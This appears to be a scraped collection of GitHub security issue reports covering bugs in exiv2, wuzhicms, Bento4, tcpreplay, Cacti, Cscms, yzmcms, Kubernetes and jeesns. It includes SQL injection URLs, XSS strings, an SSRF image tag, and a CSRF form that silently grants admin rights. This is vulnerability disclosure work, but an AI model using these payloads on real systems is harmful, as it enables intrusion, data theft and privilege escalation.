Extra Data:
Description: Access violation near NULL on source operand
Short description: SourceAvNearNull (16/22)
Explanation: The target crashed on an access violation at an address matching the source operand of the current instruction.

Extra Data:
Description: Access violation near NULL on source operand
Short description: SourceAvNearNull (16/22)
Explanation: The target crashed on an access violation at an address matching the source operand of the current instruction. This likely indicates a read access violation, which may mean the application crashed on a simple NULL dereference to data structure that has no immediate effect on control of the processor.

Description: Heap error
Short description: HeapError (10/22)
Explanation: The target's backtrace indicates that libc has detected a heap error or that the target was executing a heap function when it stopped. This could be due to heap corruption, passing a bad pointer to a heap function such as free(), etc. Since heap errors might include buffer overflows, use-after-free situations, etc. they are generally considered exploitable.

] | Hi there,
An issue was discovered in DataBuf data(subBox.length-sizeof(box)) function in image.cpp, as distributed in master and version 0.27. There is an uncontrolled memory allocation problem, leading to a program crash. I have also confirmed this issue by using addressSanitizer.
Here is the POC file. Please use the “./exiv2 -pX $POC” to reproduce the bug.
[POC.zip](https://github.com/Exiv2/exiv2/files/2961347/POC.zip)
```
subBox.length = getLong((byte*)&subBox.length, bigEndian);
subBox.type = getLong((byte*)&subBox.type, bigEndian);
// subBox.length makes no sense if it is larger than the rest of the file
if (subBox.length > io_->size() - io_->tell()) {
throw Error(kerCorruptedMetadata);
}
DataBuf data(subBox.length-sizeof(box));
io_->read(data.pData_,data.size_);
```
The ASAN dumps the stack trace as follows:
```

] | hi:
I found a sql injection vulnerability in /coreframe/app/order/admin/index.php
the parameter 'flag' didn't filtering of harmful input,so I can injection sql.
payload like this:
http://127.0.0.1/index.php?m=order&f=index&v=listing&_su=wuzhicms&flag= xxxx' or updatexml(1,concat(0x7e,(version())),0) or '
Result:
suggest:
$flag = sql_replace($GLOBALS['flag']);
Release Info:
v4.1.0

vuln type: integer and buffer overflow
There is an integer overflow at `Source/C++/Core/Ap4CttsAtom.cpp:80` , which then causes an buffer overflow read bugs at `Source/C++/Core/Ap4CttsAtom.cpp:89`.
```
//buggy code integer overflow
//entry_count can be 0x8000000a when debug, then 0x8000000a*8=0x400000050
//however entry_count is an unsigned int, so the multify result will be 0x50
unsigned char* buffer = new unsigned char[entry_count*8];
//buggy code buffer overflow read, when it read buffer more than 0x50, a buffer overflow read exception will throw by asan.
for (unsigned i=0; i<entry_count; i++) {
m_Entries[i].m_SampleCount = AP4_BytesToUInt32BE(&buffer[i*8 ]);
AP4_UI32 offset = AP4_BytesToUInt32BE(&buffer[i*8+4]);
//if (offset & 0x80000000) {
// use_quicktime_format = true;
// AP4_SI32 noffset = (AP4_SI32)offset;
// if (noffset < quicktime_min_offset) quicktime_min_offset = noffset;
//}
m_Entries[i].m_SampleOffset = offset;
}
```
The following is the debug process.
Integer overflow:

There is a buffer overflow write at `checksum.c:88`, download at lastest commit a00fd4760d2289d854b6f6505902bb4264daff9c.
Code near checksum.c:88 is showed below.
The code didn't check whether the data is long enough comparing IP and TCP packet length. When running the poc, the data len is even less than IP header. So a buffer overflow write will reported when writing to TCP header.
```c
37 do_checksum(tcpedit_t *tcpedit, uint8_t *data, int proto, int len) {
...
ip_hl = //assign value to ip_hl
...
80 switch (proto) {
81
82 case IPPROTO_TCP:
83 tcp = (tcp_hdr_t *)(data + ip_hl); //note: A check patch should be here
84 #ifdef STUPID_SOLARIS_CHECKSUM_BUG
85 tcp->th_sum = tcp->th_off << 2;
86 return (TCPEDIT_OK);
87 #endif
88 tcp->th_sum = 0; //Buffer overlow write occurs here.
```
**To Reproduce**
Steps to reproduce the behavior:
1. download the code from commit a00fd4760d2289d854b6f6505902bb4264daff9c (master head now).
2. download [poc](https://github.com/lvtao-sec/Pocs/raw/master/id-4-buffer-overflow-checksum.c-88)
3. Compile program with `CFLAGS="-g -O0 -fsanitize=address" `
4. Execute `tcpreplay-edit -r 80:84 -s 20 -b -C -m 1500 -P --oneatatime -i eth0 $poc`
**Expected behavior**
A buffer overflow write will be reported by ASAN, which is showed at below screen shots part.
**Screenshots**

3. Click `name` of one of `Associated Graph Templates`
4. Modify name to `<script>alert('test CVE');</script>`
5. Click Save button, then click Return button
6. Click `x` icon of row right for the modified one
5. See error, popup `alert('test CVE')` as below
### Case#3
data_input.php, delete,click a output/input field with <script>alert('test CVE');</script>
### Case#4
graph_templates.php add graph items with a color named <script>alert('test CVE');</script>
### Case#5
1. Go to 'Console -> Management`
2. Add a XSS Site with name `<script>alert('SiteCore');</script>`
3. Add a XSS Device with name: `<script>alert('hostname');</script>`, description: `<script>alert('hostdesc');</script>`
4. Access any 'Console -> Management -> Trees`
5. Click any one of tree name
6. See error, popup twice `alert('SiteCore')`, `alert('hostdesc')`, `alert('hostname')`.
### Case#6

Vulnerability name：Cscms V4.1 has code execution vulnerabilities
Report date: 2020-04-13
Exploit Author: Zhou Zi Qiao
Product Home: http://www.chshcms.com/down.html
Software link: http://www.chshcms.com/down.html
Version:v4.1
# 2、Vulnerability overview
##
Vulnerability file:\cscms4.1\plugins\dance\Playsong.php
Vulnerability function：index
```php
//play song
public function index(){
$ids=$this->input->get('id',TRUE);
if(empty($ids)){
$sqlstr="select id from ".CS_SqlPrefix."dance order by rand() desc LIMIT 30";
$result=$this->db->query($sqlstr);
$recount=$result->num_rows();
if($recount>0){
foreach ($result->result() as $row) {
$ids.=$row->id.",";
}
}
}
if(substr($ids,-1)==",") $ids=substr($ids,0,-1);
$zdy['{cscms:lbid}'] = $ids;
//Load template and output
$this->Cstpl->plub_show('dance',array(),$ids,FALSE,'playsong.html','音乐盒 - '.Web_Name,'','','',$zdy);
}
```
Get the id parameter here and assign it to the array $ zdy , and bring it into the function plub_show .
this->Cstpl->plub_show('dance',array(),$ids,FALSE,'playsong.html','音乐盒 - '.Web_Name,'','','',$zdy);
Follow up this function and find that the $ zdy (ie $ fidetpl) we passed in will be analyzed and added to the $ Mark_Text variable
```php
if((!empty($fidetpl) && is_array($fidetpl))){
foreach ($fidetpl as $key => $value) {
$Mark_Text = str_replace($key, $value, $Mark_Text);
}
}
```
There is such a judgment at the end
```php
if ($return == FALSE){
$Mark_Text = $this->Csskins->labelif($Mark_Text);
echo $Mark_Text;
}else{
return $Mark_Text;
}
```
$return==FALSE entered the branch and executed
$this->Csskins->labelif($Mark_Text);
Follow up this function and find that the labelif2 function is called on the first line. Perform some judgments and finally execute the eval function, resulting in code execution.
```php
public function labelif2($Mark_Text){
$ifRule = "{toif:(.*?)}(.*?){end toif}";
$ifRule2 = "{elsetoif";
$ifRule3 = "{elseto}";
$elseIfFlag = false;
$ifFlag = false;
preg_match_all('/'.$ifRule.'/is',$Mark_Text,$arr);
if(!empty($arr[1])){
for($i=0;$i<count($arr[1]);$i++){
$strIf = $arr[1][$i];
$strThen = $arr[2][$i];
if (strpos($strThen, $ifRule2) !== FALSE) {
$elseIfArr = explode($ifRule2, $strThen);
$elseIfNum = count($elseIfArr);
$elseIfSubArr = explode($ifRule3, $elseIfArr[$elseIfNum-1]);
$resultStr = $elseIfSubArr[1];
$elseIfstr = $elseIfArr[0];
eval("if($strIf){\$resultStr=\"$elseIfstr\";}");
for ($k = 1;$k < $elseIfNum;$k++){
$temp = explode(":", $elseIfArr[$k], 2);$content = explode("}", $temp[1], 2);
$strElseIf = $content[0];
$temp1 = strpos($elseIfArr[$k],"}")+strlen("}");$temp2 = strlen($elseIfArr[$k])+1;
$strElseIfThen = substr($elseIfArr[$k],$temp1,$temp2-$temp1);
eval("if($strElseIf){\$resultStr=\"$strElseIfThen\";}");
eval("if($strElseIf){\$elseIfFlag=true;}else{\$elseIfFlag=false;}");
if ($elseIfFlag) {break;}
}
$temp = explode(":", $elseIfSubArr[0], 2);$content = explode("}", $temp[1], 2);
$strElseIf0 = $content[0];
$temp1 = strpos($elseIfSubArr[0],"}")+strlen("}");$temp2 = strlen($elseIfSubArr[0])+1;
$strElseIfThen0 = substr($elseIfSubArr[0],$temp1,$temp2-$temp1);
eval("if($strElseIf0){\$resultStr=\"$strElseIfThen0\";\$elseIfFlag=true;}");
$Mark_Text=str_replace($arr[0][$i],$resultStr,$Mark_Text);
}else{
if(strpos($strThen, "{else}") !== FALSE) {
$elsearray = explode($ifRule3, $strThen);
$strThen1 = $elsearray[0];
$strElse1 = empty($elsearray[1]) ? '' : $elsearray[1];
eval("if($strIf){\$ifFlag=true;}else{\$ifFlag=false;}");
if ($ifFlag){
$Mark_Text=str_replace($arr[0][$i],$strThen1,$Mark_Text);
}else{
$Mark_Text=str_replace($arr[0][$i],$strElse1,$Mark_Text);
}
} else {
eval("if ($strIf) { \$ifFlag=true;} else{ \$ifFlag=false;}");
if ($ifFlag){
$Mark_Text=str_replace($arr[0][$i],$strThen,$Mark_Text);
}else{
$Mark_Text=str_replace($arr[0][$i],"",$Mark_Text);
}
}
}
}
}
return $Mark_Text;
}
```

] | 后台编辑文章处，最下方选项`将远程文件保存到本地`，漏洞代码在yzmphp/core/function/global.func.php#grab_image()
当修改文章或者添加文章时选择了将远程文件加载到本地，则会进入grab_image函数，正则匹配文章内容中的img标签，提取出链接保存在$val=$value，然后通过`strpos`判断链接中是否有http，如果没有则直接返回（说明这不是外网图片链接）。
接着从右往左读取第一个点号作为分割，得到后缀名，然后白名单校验后缀，此处的后缀名可以通过`1.php?2.jpg`来绕过。接着出现漏洞点
```php
ob_start();
readfile($value);
$data = ob_get_contents();
ob_end_clean();
file_put_contents($filename, $data);
```
`readfile`读取文件内容，然后保存到jpg文件。如果`readfile`读取文件有warning或者error，就会跳转到错误处理函数。
payload：
```
<img src="http://127.0.0.1:80/2.jpg" width="100" height="100"/>
```
可通过此处探测内网端口及ip。
同时，此处也是一个文件读取漏洞，只是读取php文件有可能会报错，尝试读取config.php，因为YZMPHP_PATH变量没有声明而报错。
---
Edit the background, the bottom option`将远程文件保存到本地`, Vulnerable code:
When modifying an article or adding an article, you chose to load a remote file locally,It will enter the functiongrab_image() , which matches the img tag in the article content, extracts the link and saves it in $ val = $ value, and then uses `strpos` to determine whether there is http in the link. If not, it returns directly (indicating that this is not an external network image link).
Then read the first dot from right to left as the segmentation to get the suffix name, and then check the suffix on the white list. The suffix name here can be bypassed by `1.php? 2.jpg`. Then there are vulnerabilities
```php
ob_start();
readfile($value);
$data = ob_get_contents();
ob_end_clean();
file_put_contents($filename, $data);
```
`readfile` reads the file content and saves it to a jpg file. If `readfile` reads a file with warning or error, it will jump to the error handling function.
payload：
```
<img src="http://127.0.0.1:80/2.jpg" width="100" height="100"/>
```
You can probe the intranet port and ip here.
At the same time, here is also a file reading vulnerability, but reading php files may report an error. Try reading config.php because the YZMPHP_PATH variable is not declared and an error is reported. | A SSRF in yzmcms v5.5 management | https://api.github.com/repos/yzmcms/yzmcms/issues/44/comments | 1 | 2020-03-27T07:58:13Z | 2020-03-29T10:34:32Z | https://github.com/yzmcms/yzmcms/issues/44 | 588,954,669 | 44 |

] | #### Issue Details
A security issue was discovered in Kubernetes where a user may be able to redirect pod traffic to private networks on a Node. Kubernetes already prevents creation of Endpoint IPs in the localhost or link-local range, but the same validation was not performed on EndpointSlice IPs.
This issue has been rated Low ([CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N)), and assigned CVE-2021-25737.
Affected Component
kube-apiserver
#### Affected Versions
v1.21.0
v1.20.0 - v1.20.6
v1.19.0 - v1.19.10
v1.16.0 - v1.18.18 (Note: EndpointSlices were not enabled by default in 1.16-1.18)
#### Fixed Versions
This issue is fixed in the following versions:
v1.21.1
v1.20.7
v1.19.11
v1.18.19
#### Mitigation
To mitigate this vulnerability without upgrading kube-apiserver, you can create a validating admission webhook that prevents EndpointSlices with endpoint addresses in the 127.0.0.0/8 and 169.254.0.0/16 ranges. If you have an existing admission policy mechanism (like OPA Gatekeeper) you can create a policy that enforces this restriction.
#### Detection
To detect whether this vulnerability has been exploited, you can list EndpointSlices and check for endpoint addresses in the 127.0.0.0/8 and 169.254.0.0/16 ranges.
If you find evidence that this vulnerability has been exploited, please contact [email protected]
#### Acknowledgements
This vulnerability was reported by John Howard of Google.

### Vulnerability recurrence
1. First use the A user (admin) to send a Weibo.
2. Use the B user (jeesns) to comment on the Weibo and bring the admin Weibo delete request.
`<img src="http://localhost:8080/manage/weibo/delete/3">`
3. When the A user (admin) refreshes the Weibo again, the Weibo will be deleted by the A user without their knowledge.
It can be seen that the CSRF TEST microblog has been deleted and the CSRF exploit is successful.
There is also a CSRF vulnerability when the background administrator adds a new administrator. The poc can be constructed this way.
```html
<form action=http://localhost:8080/manage/member/managerAdd method=POST>
<input type="text" name="name" value="jeesns" />
</form>
<script> document.forms[0].submit(); </script>
```
When the background administrator accesses this file, the user `jeesns` is automatically authorized for administrative rights. | Jeesns CSRF Vulnerability | https://api.github.com/repos/lxinet/jeesns/issues/9/comments | 0 | 2019-05-14T07:15:13Z | 2019-05-14T07:15:13Z | https://github.com/lxinet/jeesns/issues/9 | 443,748,058 | 9 |

## Wuzhicms v4.1.0 /coreframe/app/order/admin/index.php hava a SQL Injection Vulnerability
Someone has submitted a `SQL` injection vulnerability in the file `/coreframe/app/order/admin/index.php` before (https://github.com/wuzhicms/wuzhicms/issues/175), but I found that in addition to the `$flag` parameter, it can be injected In addition, the `$keyValue` parameter can also be injected!
## Vulnerability file:

```php
public function listing() {
load_class('form');
$fieldtypes = array('订单ID','标题','下单会员','物流单号');

$status_arr = $this->status_arr;
$page = isset($GLOBALS['page']) ? intval($GLOBALS['page']) : 1;

$fieldtype = intval($GLOBALS['fieldtype']);

```
Set `$fieldtype`=1 and `$keyValue` to be controllable.
the `$keyValue`parameter is not strictly filtered, causing `SQL` injection vulnerabilities!
